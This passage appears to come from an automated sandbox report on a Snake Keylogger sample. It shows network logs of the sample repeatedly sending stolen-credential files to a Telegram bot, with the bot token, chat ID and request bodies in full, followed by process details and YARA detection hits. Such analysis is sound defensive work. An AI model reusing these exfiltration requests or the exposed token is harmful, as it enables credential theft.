6e 74 20 49 50 Data Ascii: --------------------------8da5756ec31e688Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:18 UTC	157	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:18 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:18 UTC	158	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 35 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 39 38 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66851,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228798,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
94	192.168.2.5	49941	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:18 UTC	158	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756ec6d811d Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:18 UTC	159	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 65 63 36 64 38 31 31 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756ec6d811dContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:19 UTC	159	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:19 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:19 UTC	159	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 35 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 39 39 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66852,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228799,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
95	192.168.2.5	49942	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:19 UTC	160	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756eca456b6 Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:19 UTC	160	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 65 63 61 34 35 36 62 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756eca456b6Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:19 UTC	161	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:19 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:19 UTC	161	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 35 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 39 39 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66853,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228799,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
96	192.168.2.5	49943	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:19 UTC	162	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756ece719b2 Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:19 UTC	162	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 65 63 65 37 31 39 62 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756ece719b2Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:20 UTC	162	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:19 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:20 UTC	163	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 35 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 39 39 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66854,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228799,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
97	192.168.2.5	49944	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:20 UTC	163	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756ed25162a Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:20 UTC	164	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 65 64 32 35 31 36 32 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756ed25162aContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:20 UTC	164	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:20 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:20 UTC	165	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 35 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 30 30 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66856,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228800,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
98	192.168.2.5	49945	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:20 UTC	165	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756ed598a5e Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:20 UTC	165	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 65 64 35 39 38 61 35 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756ed598a5eContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:20 UTC	166	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:20 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:20 UTC	166	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 35 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 30 30 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66857,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228800,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
99	192.168.2.5	49946	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:20 UTC	167	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756ed97869e Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:20 UTC	167	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 65 64 39 37 38 36 39 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756ed97869eContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:21 UTC	168	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:21 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:21 UTC	168	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 35 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 30 31 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66858,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228801,"document":{"file_

Target ID:	0
Start time:	09:32:19
Start date:	26/06/2022
Path:	C:\Users\user\Desktop\0OZQi3b0tM.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\0OZQi3b0tM.exe"
Imagebase:	0x530000
File size:	129537 bytes
MD5 hash:	A90C091ABDED4A4F763DE7537F569167
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.738443207.0000000002ADD000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.737543287.0000000002958000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.738278860.0000000002ABD000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.737582921.000000000296C000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.738464278.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.737477229.0000000002944000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.737233949.00000000028C7000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.737426073.000000000292C000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.737400500.000000000291C000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.737877910.0000000002A31000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.737872155.0000000002A2D000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.738102517.0000000002A85000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.737894796.0000000002A3D000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.737177065.0000000002898000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.737163773.0000000002894000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.738298999.0000000002AC1000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.737551923.000000000295C000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.737275091.00000000028E3000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, 